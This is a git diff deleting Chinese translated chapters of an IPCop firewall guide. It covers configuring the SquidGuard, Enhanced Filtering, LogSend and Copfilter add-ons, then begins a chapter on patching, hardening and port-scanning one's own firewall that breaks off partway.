-我们现在来看看一些比较常见的插件的配置以及它们是如何使用的。 因为我们已经安装了 SquidGuard,所以我们可以从这个插件开始。 我们不会涵盖本文中的所有插件,因为它们非常多。 然而,我们将涵盖最常见和最重要的问题。 建议我们至少熟悉一下其他可用的插件,因为它们可能会满足我们以后可能会认识到的要求。 - -## ►T0\\SquidGuard - -SquidGuard 是一个内容过滤插件,可以随 Squid 一起安装。 它主要用于阻止来自 Web 的不合适内容,并可配置一组动态规则,包括全面禁止各种主题和/或将网站列入黑白名单,具体取决于它们是否适合我们网络上的受众。 - -SquidGuard 配置屏幕如下所示: - -![SquidGuard](img/1361_09_05.jpg) - -正如我们所看到的,我们可以过滤各种主题,这些主题在 SquidGuard 配置中是预定义的。 - -在上面的截图中,我们选择从我们的网络中过滤广告、色情、暴力和赌博相关网站。 - -我们还配置了一些其他选项来帮助控制我们的网络使用。 我们已确定 IP 地址为**10.0.0.201**的计算机是一台特权计算机(可能是我们自己的或管理员的计算机),它被允许不加区别地绕过筛选器和访问站点。 **10.0.0.202**在**禁止的 IP 范围**内,并且是不允许通过此 Web 代理访问 Internet 上任何资源的计算机。 **网络 IP 范围**表示网络上将遵守先前配置的其他规则的所有其他用户。 请注意,**网络 IP 范围**包括计算机**200-250**;可以类似地指定所有其他范围,从而允许我们在必要时在规则中包含多个 IP 地址。 - -这里还有其他一些重要而强大的配置选项。 如果我们允许列入白名单,然后单击**编辑**框,我们会看到以下屏幕: - -![SquidGuard](img/1361_09_06.jpg) - -通过输入 URL 并单击**添加**,我们允许访问此域,而不考虑任何其他规则。 在本例中,URL[www.reboot-robot.net](http://www.reboot-robot.net)已被列入白名单。 - -黑名单配置屏幕完全相同,除特权 IP 地址外,SquidGuard 会阻止列出的任何域。 - -除了直接配置阻止和不阻止什么,我们还有一些其他选项需要一些解释。 - -* **启用日志记录:**允许我们记录 SquidGuard 允许和拒绝的连接 - -* **启用广告记录:**允许对阻止的广告进行更详细的记录 - -* **邮件日志:**记录通过防火墙的邮件信息 - -* **自动更新:**从 SquidGuard 网站下载拦截 URL 的自动更新 - -* **邮件服务器:**向管理员发送邮件时使用的服务器 - -* **管理员电子邮件:**要将日志发送到的电子邮件地址 - -* **邮件用户名:**邮件服务器需要身份验证时使用的用户名 - -* **邮件密码:**密码与之前相同 - -### 备注 - -**邮件设置** - -您会注意到,这些邮件设置是任何提供与网络管理员通信的插件的一部分。 有必要将此信息放在手边,并可能专门为我们的 IPCop 机器创建一个电子邮件帐户/地址。 - -此页面上唯一需要的框是我们的**网络 IP 范围**和我们的**管理员电子邮件**;其他所有内容都可以选择配置(可选字段旁边有一个蓝色星号)。 - -在页面底部,我们有**Start/Restart SquidGuard**按钮,当我们根据需要配置了服务并希望在运行的机器上保存和使用配置时(诚然这不是直观的),可以使用该按钮。 **更新黑名单**按钮允许我们下载内容过滤选项的更新黑名单。 - -在配置 SquidGuard 之后,我们现在应该有了一个有效的内容过滤系统,以帮助确保网络上的用户不会访问被认为不受欢迎的网站。 - -如果我们既想监控又想控制呢? 细心的读者可能已经意识到,当我们启用日志记录选项时,应该可以访问这些日志,可能是在 Web 界面中。 如果我们将鼠标移到**日志**上方,我们肯定会看到**SquidGuard 日志**;单击此按钮将显示: - -![SquidGuard](img/1361_09_07.jpg) - -这使我们可以在类似于系统默认日志的界面中查看 SquidGuard 日志。 - -## 增强型过滤 - -增强的过滤插件是最有用的插件之一,它解决了 IPCop 默认情况下严重缺乏的一个功能。 默认安装 IPCop 将允许所有流量从 Green 接口出站到其他接口,而不会进行任何过滤。 通常需要控制用户可以从绿色界面访问的端口和 IP 地址。 例如,我们可能想要阻止所有出站连接,但到网站运行的端口的出站连接除外。 这将允许默认阻止对等文件共享程序和即时消息传递程序。 这是防火墙的首选默认设置,我们在[第 3 章](03.html "Chapter 3. Deploying IPCop and Designing a Network")中讨论了这一点。 增强的过滤还允许对无线连接进行基于 MAC 的过滤。 - -### 备注 - -**基于端口和 IP 的块并不完全有效** - -请注意,阻止应用正在使用的端口不会阻止用户在另一个端口上使用该应用,也不会阻止用户通过位于 IPCop 保护网络外部的代理服务器使用该应用。 同样,可以通过使用代理来克服基于 IP 的阻塞。 应用层过滤增加了这种保护,但如果不严格控制网络上的内部资源,大多数网络级过滤机制都可以绕过。 - -有关详细信息,请参阅增强过滤网页:[http://firewalladdons.sourceforge.net/filtering.html](http://firewalladdons.sourceforge.net/filtering.html)。 - -撰写本文时使用的版本是从以下 URL 下载的,安装方式类似于 SquidGuard: - -[http://heanet.dl.sourceforge.net/sourceforge/firewalladdons/EnhancedFiltering-1.0-GUI-b2.tar.gz](http://heanet.dl.sourceforge.net/sourceforge/firewalladdons/EnhancedFiltering-1.0-GUI-b2.tar.gz) - -下图显示了增强过滤配置屏幕,可以通过单击**防火墙|增强过滤访问该屏幕:** - -![Enhanced Filtering](img/1361_09_08.jpg) - -在这里,我们可以**启用增强过滤**或**禁用**它,以及**在绿色**网络接口上设置默认拒绝。 我们讨论了引入防火墙时的默认拒绝,以及为什么它更易于管理和更安全。 - -我们还可以为网络之间的连接向防火墙添加特定规则。 我们必须提供源 IP 地址和目的 IP 地址、源网络掩码和目的网络掩码、网络和目的端口。 - -例如,只允许我们的邮件服务器向外连接到我们的 ISP 的邮件服务器,以便为网络中继邮件。 我们将把**源 IP**地址指定为我们的邮件服务器的地址,将**目的 IP**地址指定为 ISP 的邮件服务器的地址,还将端口设置为**25**。 这意味着我们的邮件服务器可以将邮件中继到 ISP,但网络上的其他机器都不能。 这将有助于防止我们的用户使用外部邮件帐户,并防止带有恶意软件的计算机发送恶意软件或垃圾邮件的副本,而无需通过我们的邮件服务器和潜在的邮件过滤软件。 - -我们现在看到的主要优势是,我们可以非常具体地控制本地网络机器可以访问哪些服务器和服务器上的哪些服务,这是 IPCop 本身默认不提供的功能。 - -### 蓝色通道 - -增强过滤插件提供的另一个选项是基于 IP 地址和 MAC 地址过滤 Blue(无线)接口的能力。 这是一种粗略但相当有效的方式,可以限制具有特定 MAC 地址的计算机访问无线接口。 MAC 地址对于网卡是唯一的,是识别网卡的一种非常有用的方法。 MAC 地址过滤绝不是加密无线连接的替代方法,而是一种有用的辅助措施。 - -### 备注 - -**MAC 欺骗** - -MAC 地址很容易被现有的工具欺骗,这些工具适用于大多数常见的操作系统,用于修改 NIC 的 MAC 地址。 MAC 地址不是在设备本身修改的,而是在操作系统中修改的。 例如,Linux 可以使用其默认的网络配置工具 `ifconfig`来实现这一点,并且有许多工具可供 Windows 完成相同的任务。 IPCop 有一个插件,它在 Red 接口的 GUI 中提供 MAC 欺骗功能。 - -单击**防火墙|蓝色访问:**可以访问**蓝色访问**配置屏幕 - -![Blue Access](img/1361_09_09.jpg) - -**源 IP**和**源 MAC 地址**填充了允许从该接口访问网络的计算机的信息,当勾选了**Enabled**复选框时,将只允许与列表匹配的计算机访问任何网络资源。 蓝色上的**设备列表中的计算机是那些已被允许访问的计算机。** - -## 日志发送 - -LogSend 是一个插件,允许我们将日志从 IPCop 机器发送给各种管理员和/或 DShield 服务。 这很有用,因为它允许使用外部工具对日志进行更深入的分析,而无需配置系统日志服务器。 - -日志发送网页位于:[http://firewalladdons.sourceforge.net/logsend.html](http://firewalladdons.sourceforge.net/logsend.html)。 - -撰写本文时使用的当前版本是:[http://heanet.dl.sourceforge.net/sourceforge/firewalladdons/Logsend-1.0-GUI-b3.tar.gz](http://heanet.dl.sourceforge.net/sourceforge/firewalladdons/Logsend-1.0-GUI-b3.tar.gz)。 - -通过单击**日志|LogSend**可访问**LogSend Configuration**页面。 - -![LogSend](img/1361_09_10.jpg) - -**LogCheck**的配置相对简单;我们可以选择启用该服务,启用**DansGuardian**(由 Cop+Addon 提供)日志、**Proxy**日志和**Snort**日志的邮寄。 每一封邮件都可以发送给不同的管理员,但如上图所示,在每封邮件中使用相同的电子邮件地址是非常常见的。 - -### 备注 - -**DShield** - -**DShield**选项可能需要一些解释。 DShield([http://www.dshield.org](http://www.dshield.org))是一项经过 SANS(系统管理、网络和安全研究所:[http://www.sans.org](http://www.sans.org))验证的服务。 它整理和分析来自世界各地数千个系统的日志,以便获得有关最常见的攻击端口和最严重的攻击 IP 地址的详细信息。 这是为了让系统管理员能够随时了解 Internet 的当前状态。 发送到 DShield 的任何日志都将添加到此数据库中,如果我们注册了 DShield 帐户(发送日志不需要),我们还可以使用其在线分析工具来监控来自我们自己的入侵防护系统的数据。 - -LogSend 中的 DShield 配置功能可以方便地使用 DShield 服务,以便我们可以发送日志。 所有需要做的就是启用 DShield,并设置发送日志时使用的时区和回复电子邮件地址。 如果我们还提供了用户 ID,我们可以确保日志属于我们的帐户,并在 DShield Web 界面上提供给我们。 **DShield Administrator**是所有日志信息将被发送到的地址。 - -我们还有熟悉的邮件服务器选项,我们可以在其中提供要使用的邮件服务器、发件人和所需的任何身份验证凭据。 我们已经在 IPCop 的其他领域看到了这些选项。 - -## Copfilter - -Copfilter 将 IPCop 从防火墙扩展到类似于赛门铁克和 MacAfee 提供的安全设备,这两家公司试图保护我们的网络免受各种恶意软件的攻击。 Copfilter 将监控 Web、FTP 和电子邮件流量,以检测并阻止它在数据中发现的恶意软件。 - -Copfilter 网页为:[http://www.copfilter.org](http://www.copfilter.org)。 - -撰写本文时使用的版本是:[http://heanet.dl.sourceforge.net/sourceforge/copfilter/copfilter-0.82.tgz](http://heanet.dl.sourceforge.net/sourceforge/copfilter/copfilter-0.82.tgz)。 - -Copfilter 安装是直接完成的,而不是通过插件界面。 它的安装方式与防火墙插件服务器的安装方式大致相同。 - -```sh -$ scp -P 222 copfilter-0.82.tgz root@10.0.0.200:/ # provide password -$ ssh -p 222 root@10.0.0.200 # provide password -# cd / -# tar xzvf copfilter-0.82.tgz -# cd copfilter-0.82 -# ./install - -``` - -然后,我们应该看到以下输出: - -```sh -============================================================ -Copfilter installation -- Version 0.82 -============================================================ -WARNING: -This package is NOT an official ipcop addon. It has not been approved -or reviewed by the ipcop development team. It comes with NO warranty or -guarantee, so use it at your own risk. -This package adds firewall rules, proxies, filters, virus scanners -and precompiled binaries to your ipcop machine, -Do NOT use Copfilter if firewall security is an issue -Continue ? [y/N] - -``` - -它会给我们一个警告:安装 Copfilter 会重新配置防火墙,可能会改变防火墙的某些功能,从而可能会降低安全性。 - -### 备注 - -**复杂性和安全性** - -这带来了我们在安装插件时应该考虑的重要一点。 我们在防火墙中添加的代码和功能越多,出错的可能性就越大。 软件缺陷会导致崩溃,更重要的是会危及安全。 在我们用各种插件填充系统之前,一定要权衡一个特性给出的值与系统中有额外代码的潜在风险。 - -现在应该安装 Copfilter 了,我们会看到几条消息在它自己设置时滚动过去。 完全安装 Copfilter 后,我们应该看到以下消息: - -```sh -Copfilter 0.82 installation completed successfully ! - -``` - -如果我们现在登录 Web 界面,应该会看到 IPCop 配置站点添加了新的菜单选项。 我们将在接下来的几个部分中看看它们。 - -![Copfilter](img/1361_09_11.jpg) - -### 状态 - -**Status**屏幕给出了与 Copfilter 一起安装的工具的信息(这是一个简单软件包中的另一个强大工具集合!)。 您可以在这里启动和停止所有服务。 通过单击**病毒隔离区**和**垃圾邮件隔离区**按钮,您可以查看扫描软件保存在那里的项目。 - -![Status](img/1361_09_12.jpg) - -**Monit:**使我们能够比 IPCop 提供的基本状态信息更详细地监控系统,并将服务管理作为一项重要的附加功能([http://www.tildeslash.com/monit/](http://www.tildeslash.com/monit/))。 - -**p3Scan:**电子邮件代理服务器(**pop3**)扫描电子邮件中的恶意软件([http://p3scan.sourceforge.net/](http://p3scan.sourceforge.net/))。 - -**ProxySMTP:**类似于**p3scan**,但用于扫描 SMTP。 - -**havp:**http 代理,允许扫描网站是否有恶意软件([http://www.server-side.de/](http://www.server-side.de/))。 - -**Privoxy:**另一个 HTTP 代理,它更关注隐私和广告([http://www.privoxy.org](http://www.privoxy.org))。 - -**FROX:**透明 FTP 代理,允许针对 FTP 协议([http://frox.sourceforge.net](http://frox.sourceforge.net))提供类似于**HAVP**和**Privoxy**的功能。 - -**Spamassassin:**极其强大且可定制的反垃圾邮件软件。 这是 ISP 最常用的反垃圾邮件解决方案之一([http://spamassassin.apache.org/](http://spamassassin.apache.org/))。 - -**ClamAV:**防病毒软件,与其他一些软件配合使用,以提供病毒扫描引擎([http://www.clamav.net/](http://www.clamav.net/))。 - -**RenAttach:**识别和重命名危险电子邮件附件(如 `.exe, .bat`和 `.pif`)的脚本,以防止用户意外或无意地打开危险文件([http://freshmeat.net/projects/renattach/](http://freshmeat.net/projects/renattach/))。 - -**当日规则:**用于使 SpamAssassin 规则保持最新([http://www.exit0.us/index.php?pagename=RulesDuJour](http://www.exit0.us/index.php?pagename=RulesDuJour))。 - -**P3PMail:**的行为类似于前面提到的 p3Scan;但是它会检测到电子邮件中的危险超文本标记语言并将其删除([http://www.exit0.us/index.php?pagename=RulesDuJour](http://www.exit0.us/index.php?pagename=RulesDuJour))。 - -### 电子邮件 - -我们希望在本书中启用所有服务,但如果现在尝试这样做,许多服务将失败,因为我们尚未配置电子邮件设置。 如果我们点击**Copfilter|Email**,我们将看到熟悉的**Email**选项屏幕,我们可以相应地填写该屏幕。 - -![EmailCopfilterstatus](img/1361_09_13.jpg) - -填写此信息后,我们可以开始启用和配置服务。 - -### 监控 - -**monit**非常容易设置(在 Copfilter 中),并且是一个相当强大和可靠的工具。 如**监控**屏幕(单击**Copfilter|监控**)所示,**Monit**将持续监控正在运行的服务,并将在 60 秒内重新启动任何失败的服务。 手动停止服务将导致关闭对该服务的监视。 要重新打开对所有服务的监控,需要重新启动**monit**本身。 - -我们可以在此配置窗口中打开**MONIT**。 我们现在应该打开它,以便可以监控其他服务,所以在下拉框中选择上的**,然后单击**Save**按钮。** - -### POP3 过滤 - -POP3 是一种常用的邮件协议,用于接收邮件。 如果我们有用户从 ISP 的邮件服务器下载电子邮件,那么我们可以配置此屏幕来过滤任何通过 POP3 传入的邮件,并根据我们的需要进行调整。 - -![POP3 Filtering](img/1361_09_14.jpg) - -我们应该小心隔离电子邮件或附件,因为这会很快开始填满我们硬盘上的空间。 如果我们配置了一台低规格的机器作为 IPCop 盒,那么我们可能会遇到硬盘空间问题。 如果开始出现问题,只需备份 IPCop 配置并在更大的硬盘上重新安装即可。 - -如上图所示配置此屏幕,然后按**保存设置(并重新启动服务)**按钮。 这将启用 POP3 扫描。 通知将发送到我们之前在电子邮件屏幕中配置的电子邮件地址。 - -### SMTP 过滤 - -乍一看,该页面与 POP3 页面相同,但带有 SMTP 斜面(对于我们在这里的使用,它的配置应该是相同的)。 然而,当我们向下滚动时,我们看到: - -![SMTP Filtering](img/1361_09_15.jpg) - -这为我们提供了一些附加选项,这些选项主要与我们网络上的电子邮件服务器相关。 我们在前面讨论了在 DMZ 中使用 DMZ 和使用 Orange 网络的 IPCop。 如果我们的电子邮件服务器位于 DMZ 中,我们可以将端口 25(或特定 IP 上的端口 25)配置为转发到我们的电子邮件服务器。 由于这是 SMTP 筛选部分而不是端口转发部分,因此我们还可以在电子邮件接近我们的服务器之前过滤通过系统的所有电子邮件。 这使我们能够保护 DMZ 中的机器免受攻击,并随后保护我们的用户,因为充满恶意软件的电子邮件永远不会触及他们的收件箱! - -显示的配置选项是相当合理的级别,除非我们需要列入白名单或有特定的隔离要求。 - -### HTTP 过滤器(和 FTP) - -HTTP 筛选器是 Copfilter 最耗费资源的功能之一,主要是因为 HTTP 流量涉及大文件和相当详细的扫描,而且 HTTP 是大多数网络上使用的最流行的协议之一。 - -![HTTP Filter (and FTP)](img/1361_09_16.jpg) - -通常,将 HTTP 代理配置为透明是个好主意,因为这不需要重新配置客户端计算机。 如此屏幕所示,如果防火墙变得非常繁忙,这可能会对通过防火墙的应用产生不利影响。 除非 IPCop 机器非常强大,否则在繁忙的网络上使用 HTTP 过滤可能不是一个好主意。 如果您在使用 Internet 时遇到速度慢的问题,请将禁用 HTTP 过滤作为初始故障排除步骤之一。 - -FTP 过滤器设置非常简单,只需要从关闭切换到打开。 它的工作方式与透明 HTTP 筛选器大致相同。 FTP 过滤器不太常用,因为它是一种比 HTTP 不太流行的协议,而且现在还有许多其他文件传输方法比 FTP 更流行。 - -### 反垃圾邮件 - -除了与恶意软件作斗争外,我们每天还要与大量垃圾邮件作斗争,这些垃圾邮件每天都会登陆我们的邮箱。 幸运的是,垃圾邮件的 Copfilter 选项相对简单。 - -![AntiSPAM](img/1361_09_17.jpg) - -启用后,我们可以配置将电子邮件视为垃圾邮件的分数。 每封邮件都会被检查各种类似垃圾邮件的特征;它的特征越多,得分就越高。 如果我们将这个阈值设置得太高,那么我们就会允许一些垃圾邮件通过,如果我们把它设置得太低,我们就会增加误报的可能性。 默认设置运行得非常好,除非有大量垃圾邮件通过,否则应该使用。 我们还可以在此页面上配置贝叶斯过滤。 然而,这可能会非常耗费资源,而且不推荐在同时提供许多其他功能的设备上使用。 启用**德语规则将阻止德语垃圾邮件通过过滤器;这是因为发送的德语垃圾邮件数量大幅增加。 **Razor、DCC、DNSBL**的选项启用基于已知垃圾邮件站点数据库的拦截,这些站点可能相当大,正如配置屏幕上指出的那样,它们可能会降低性能。** - - **### 杀毒软件 - -在 Linux 系统上,ClamAV 通常用作病毒扫描程序。 然而,它涵盖了来自各种操作系统的病毒,显然它最大的签名数据库与 Windows 平台有关。 因此,它非常适合保护网络上的 Windows 客户端免受病毒攻击。 ClamAV 用作 Copfilter 中其他工具的扫描引擎,因此在我们访问它时已经启用,因为其他服务正在使用它。 - -![AntiVirus](img/1361_09_18.jpg) - -我们可能希望在应用自动更新时进行调整,并执行 ClamAV 的手动更新,尤其是在安装后不久。 我们还可以从此菜单向 `renattach`配置文件添加其他文件扩展名,如 WMF。 这些文件将被重命名,以使其扩展名不会通过双击自动执行。 - -### 备注 - -**WMF 和媒体文件漏洞** - -最近,Microsoft Windows 中存在一个非常严重且广为人知的漏洞,如果用户查看 WMF 格式的图像,就可能利用此漏洞。 这突出了一个经常被忽视的事实,即不仅仅是可执行文件可以包含可执行代码。 - -### 测试和日志 - -Copfilter 插件有自己的日志区域,遗憾的是,它没有像其他插件那样在**logs**菜单中添加选项。 在这方面,我们可以查看和下载各种格式的各种日志;但是,这些日志数量太多,无法保证在本文中进行报道。 这些日志相对容易阅读和理解,前面提到的项目网站上的文档将提供有关这些项目的更多信息。 - -这里的另外三个重要功能是测试按钮。 - -* **发送测试病毒电子邮件:**此按钮发送带有 EICAR 测试病毒的电子邮件。 - -### 备注 - -**EICAR** - -EICAR 是所有防病毒软件都能识别的测试病毒定义。 它被用作校准工具,以确保我们的防病毒解决方案工作正常,而不必通过我们的网络发送病毒。 - -[http://www.eicar.org/anti_virus_test_file.htm](http://www.eicar.org/anti_virus_test_file.htm) - -* **发送测试垃圾邮件:**发送垃圾邮件过滤器应将其作为垃圾邮件接收的电子邮件。 - -* **发送测试电子邮件+DANG。 附件:**通过电子邮件发送危险附件,以测试重附加功能。 - -在信任具有网络资源保护的设置之前,运行这些测试中的每一个测试,也许还需要手动运行几次,以便通过筛选器发送测试,这一点很重要。 - -## 启动并运行! - -如果我们现在查看状态屏幕,我们应该会看到所有服务都已启动,并且正在被监视和控制。 - -![Up and Running!](img/1361_09_19.jpg) - -# 摘要 - -我们已经看到,IPCop 不仅仅是一个简单的 NAT 防火墙。 它可以处理多个网络区域,并独立处理每个网络区域。 我们可以真正控制这些网段如何相互通信。 防火墙可以做的不仅仅是过滤--它可以控制、监控和报告网络状态,让我们能够很好地全面了解网络的运行情况,而 IPCop 可以满足这些要求。 - -我们还将 IPCop 视为类似于许多供应商昂贵的商业产品的网络设备。 在这方面,IPCop 可以通过一些应用层或第七层过滤来处理高级防火墙。 我们在前面讨论了这一点以及 IPCop 的第七层缺点。 现在我们来看看如何解决这个问题和其他任何问题,以创建一个真正有用和强大的外围设备。 - -我们查看了 IPCop 可用的各种插件,并相当详细地了解了一些最常用的插件和可用的有用选项。 我们已经看到了使用开放源码软件(如 IPCop)的一些直接好处,因为它具有简单的可扩展性或“*可破解性*”。 我们介绍了 SquidGuard 的一些高级代理选项及其在 IPCop 上的使用。 我们还研究了 Copfilter--最流行的 IPCop 插件之一--它过滤了许多常见的协议,以过滤恶意软件和其他不受欢迎的流量。 然而,我们只是触及了 IPCop 插件的皮毛,因为还有更多。 从在 IPCop 上安装 Nmap 到 SETI 客户端,应有尽有! 有必要研究一下可用的选项,因为这里提供的这些选项仅用于概述常见的应用。** \ No newline at end of file diff --git a/docs/conf-ipcop-fw/10.md b/docs/conf-ipcop-fw/10.md deleted file mode 100644 index 0ab92bcc..00000000 --- a/docs/conf-ipcop-fw/10.md +++ /dev/null @@ -1,323 +0,0 @@ -# 十、测试、审核和强化 IPCop - -在本章中,我们将研究对安全和修补程序管理的一些常见态度,并讨论如何在 IPCop 上下文中处理这些主题。 我们还将讨论一些常见的安全风险、一些常见的安全和审计工具以及测试,并找出下一步的方向。 - -# 安全和补丁管理 - -非常宽松地说,安全是指将我们的系统保持在这样一种状态的过程,即它们被认为是不切实际的,或者在这种状态下,使这些系统保持运行所涉及的漏洞和风险得到了解、管理、补偿或接受。 与公认的智慧(对某些人来说,还有直觉)相反,根本没有安全系统这回事。 - -安全界有一句使用得很好的格言,“*安全是一段旅程,而不是目的地*。” - -世界上最好的安全顾问、程序员或 IT 专业人员只能在他或她所使用的硬件和软件允许的范围内保护计算机系统。 即使是完美设置的安全软件包的教科书部署,也存在应用组件、操作系统组件或硬件可能出现故障或出现危及系统安全性的故障的风险。 软件故障可以做很多事情--它可能使入侵者获取信息,导致系统运行不正常,甚至获得对该系统的控制。 - -仅向攻击者提供信息的相对无害的故障可能会为他或她提供进一步研究该计算机系统上运行的软件中的其他缺陷所需的信息-导致进一步的危害,可能导致对系统的控制。 - -此外,无论任何供应商、专业人士或开发人员告诉您什么,*都没有*解决方案,无论是一个闪亮的新软件、一个闪亮的新硬件、一个破旧的老安全专家,还是一个聪明的配置更改,都可以解决您的所有安全问题。 它们(可以)全部加在一起,但*没有什么灵丹妙药*。 - -我们所能做的就是牢记这些原则,将我们的环境分层,这样我们就不会在任何可能的情况下依赖任何一种安全措施,从而使损害是有限的。 实际上,在较大的组织中使用类似于 IPCop 的防火墙来隔离不同的网络和子网正是出于这个原因。 - -确保我们的系统尽可能安全的过程有两个重要的组成部分,我们在这里关注的就是这两个组成部分。 - -第一个,也是最基本的,是保持我们系统上运行的软件是最新的。 如果我们运行的软件已过时并因此存在漏洞,那么全面的防火墙策略、出色的权限集和强大的密码集几乎毫无价值。 虽然我们使用的大多数软件包中可能存在尚未发现的安全漏洞,但如果我们(和软件开发人员)不知道它们在那里,入侵者确实存在的可能性也会降低。 如果开发者知道这个漏洞(更糟糕的是,如果它打了补丁),我们应该自动假设任何想要侵入我们系统的攻击者也知道这个漏洞。 未打补丁的系统比打补丁的系统更难保护。 - -第二步,也是更困难的一步,是**系统硬化**的过程。 这可能涉及许多步骤,从更改归档系统权限和设置防火墙策略,到使用入侵防御系统、物理安全措施(如锁和闭路电视)包围我们的系统,甚至进行定期备份(能够及时回溯并检查我们的系统外观,对于分析我们认为可能受到威胁的系统通常至关重要)。 - -## 为什么我们应该关注 - -对于一些读者来说,这个主题可能看起来相当明显,而对于习惯于从不同的角度思考 IT 和一般计算机的其他读者来说,情况可能并非如此。 根据作者的经验,非常有能力的经理、IT 专业人员和计算机科学家经常不知道计算机可能被滥用,这种滥用会造成多大的破坏,以及这些事情是多么容易实现。 - -然而,暂时不考虑这种误解,有许多善意的经理、家庭用户和 IT 专业人士确实理解计算机可以被破解,并意识到他们可以做更多的事情来保护他们的系统。 这催生了一个广为流传的最伟大的神话之一,这一观点经常被各种规模的组织中有很大影响力的人非常坚定地持有。 对于任何重视自己赚钱能力并使用计算机赚钱的组织(如今几乎每个人都是这样),或者任何家庭用户使用他或她的 PC 做会计、网上银行或网上购物等事情,这都是*错误的*观点。 这种“*为什么有人要这样对我们?*”的谬论是基于这样一个前提,即对计算机的唯一威胁是确定攻击者根据他们的身份专门选择公司,而作为家庭用户、小企业或乏味的制造公司,任何人都是免疫的。 - -当然,病毒、蠕虫、广告软件和间谍软件-安全和 IT 专业人员正在处理的四个最常见的问题-与公司成为目标无关,一些需要处理的最大(也是最昂贵的)事件会因为入侵者利用公司的系统作为跳板侵入其他公司的行为而导致形象受损或法律责任受损。 对于信用卡被盗、身份被盗或因有人滥用在线拍卖账户而负有法律责任的家庭用户来说,这样的问题可能是毁灭性的。 - -对 Web 上有关灾难恢复的众多论文进行快速调查后,会一次又一次地发现同一统计数据的不同版本--*X%的公司经历了 Y 天的停机时间无法从*[*灾难*]中恢复过来。 X 和 Y 因纸张不同而不同,但 X 总是两位数,Y 是单位数。 仅此一点就应该成为保护你的系统不受入侵者攻击的理由,入侵者可能会抹去你的数据,摧毁你做生意的能力--无论你的生意是经营一家实际的公司,还是仅仅是能够为你报税。 - -所有这些都假设我们没有监管要求-探索 ISO 17799 等标准远远超出了我们的范围,而且许多法规和标准(包括 ISO 17799)包括关于业务连续性和灾难恢复规划的规定。 - -事实上,你有这本书,而且你正在阅读这一章的这一节,这可能意味着这篇经文是对皈依者的说教,但至少-希望-如果你遇到任何还没有皈依的人,你可能会有一些有用的观点! - -## 设备以及这对我们的 IPCop 管理有何影响 - -现在,我们已经简要地探讨了安全和灾难恢复的概念,现在我们可以继续讨论这实际上如何影响我们对 IPCop 的持续管理和安全。 冒险进入 IT 领域的另一个常见故障,防火墙(与打印机、交换机和路由器等联网设备并驾齐驱)是目前最不受关注的设备之一。 大多数中小型企业根本不对这些设备执行任何常规管理,经常会留下可能暴露在 Internet 上的交换机和路由器,其上运行的软件版本可能充满漏洞,可供入侵者利用! **简单网络管理协议**(**SNMP**)等服务通常允许入侵者简单而安静地完全控制设备(有时比通过设备的 Web 配置界面更强大)。这些服务在许多设备上都附带了公共/私有的默认社区字符串(作用类似于密码)。 - -另一个助长这种忽视的常见偏见是,因为一台设备不是 PC,也没有屏幕、键盘或鼠标,所以它就不是一台计算机,不需要更新。 互联网的广泛用户基础,以及设计用于路由器、防火墙等的产品数量,都对此无济于事。 - -*设备*,即不是计算机的计算机,对此有很强的影响。 *广义地说,设备*是设计为在没有*正常*、以软件为中心的服务器所需的管理和更新的情况下运行的计算机。 不幸的是,这些设备中的许多都基于类似于非设备设备的软件,尽管设备通常比为执行相同工作而设置的同等服务器更严格地锁定和保护,但它们也不能免除类似的安全问题。 - -我们的 IPCop 系统设计为类似于家用电器的操作方式。 它完全是由一组个人(IPCop 团队)设计和更新的,它在 PC 上运行,并且基于为提供非常具体的功能(并且几乎不暴露操作系统的操作)而量身定做的普通操作系统-所以在某种程度上我们需要将其作为一个整体来对待。 我们(与任何设备一样)仍然应该通过固件更新我们的系统,如果我们希望防火墙继续运行(和可支持),我们仍然必须避免过多地窥探防火墙的工作,但了解幕后的情况以及它的工作方式对我们保护 IPCop 非常有益。 - -# 基本防火墙加固 - -首先,我们需要考虑 IPCop 在外界看来是什么样子。 任何黑客、渗透测试员、IT 专业人员或分析师在评估特定设备构成的威胁时(无论他们打算修复该设备还是通过该设备入侵)采取的第一步是分析该设备,以便找出以下一些情况: - -* 设备是什么? - -* 它运行的是什么操作系统 - -* 它可能运行在哪种硬件上 - -* 服务器正在运行什么服务,因此可以推断... - -* 除基本操作系统外,服务器还运行哪些软件(服务 - -* 以上任何一项(特别是服务)是否不安全 - -作为 IPCop 系统的合法审核员、管理者和维护者,我们可以通过内存、文档或登录主机本身获得其中的大部分内容。 对于这些信息极其有价值的攻击者来说,情况并非如此,因此我们有必要了解入侵者是如何收集这些信息的,以防止他或她这样做。 - -## 检查我们的防火墙对客户端的暴露情况 - -要评估我们的 IPCop 盒从外部看起来是什么样子,最基本的工具是端口扫描仪。 正如我们在本书前面应该知道的那样,服务器可以打开任意数量的端口,以便允许用户连接到它运行的服务。 我们还应该知道,默认情况下,IPCop 可能至少有一个端口向内部客户端开放-端口 445,这是 HTTPS 通过 Web 界面进行配置的端口。 简单地说,端口扫描器尝试连接到许多不同的端口,并查看从哪些端口收到回复,从而将这些端口定义为打开(即,另一端发生了一些事情)。 - -端口扫描是在基础设施(如防火墙)上执行的一项重要操作,作为安全审计或定期检查的一部分,原因有几个。 其中最值得注意的是,我们可能并不总是知道我们的服务器在运行什么。 我们可以通过在 Shell 上使用 `netstat`命令或通过 Web 界面查看防火墙认为已打开的端口的列表。 但是,如果我们扫描服务器是因为我们认为恶意入侵者可能出于恶意目的在我们的防火墙上安装了软件,则该软件具有开放端口(例如,允许入侵者重新连接并通过后门获得访问权限)的事实可能对 `netstat`命令和操作系统本身的某些部分隐藏起来。 - -在这种情况下独立扫描系统是检测此类活动的为数不多的方法之一,因此,如果您认真考虑安全问题,养成定期扫描系统的习惯是很好的;您再谨慎也不为过。 - -### 备注 - -**通过互联网进行端口扫描** - -许多互联网服务提供商对通过其网络进行端口扫描有相当严格的政策,并会将任何此类活动视为非法活动,即使端口扫描您自己的服务器没有任何违法之处(许多人认为对不是您自己的系统进行端口扫描是一个法律灰色地带,尽管它本身越来越被视为犯罪活动)。 许多更合理的 ISP 会区分端口扫描您自己的系统(显然是您同意这样做)和其他系统的端口扫描。 不过,有些人更具判断力(有些人会使用狭隘这个词!)。 - -密集扫描通过 ISP 网络的此类活动的所有流量是非常耗费资源的,而且由于所需费用的原因,ISP 很少会对不发往其服务器(或通常是高价值系统)的流量执行此操作。 然而,在您考虑这样做之前,检查您的 ISP 的条款和条件以及可接受的使用政策是值得的,这样做会给您带来不便或责任的风险! 这些信息几乎总是可以在 ISP 的网站上找到,或者根据需要从 ISP 那里获得。 - -例如,BT(英国电信)宽带服务的 AUP(可在[http://www.abuse-guidance.com/](http://www.abuse-guidance.com/)上获得)说明以下有关端口扫描的内容: - 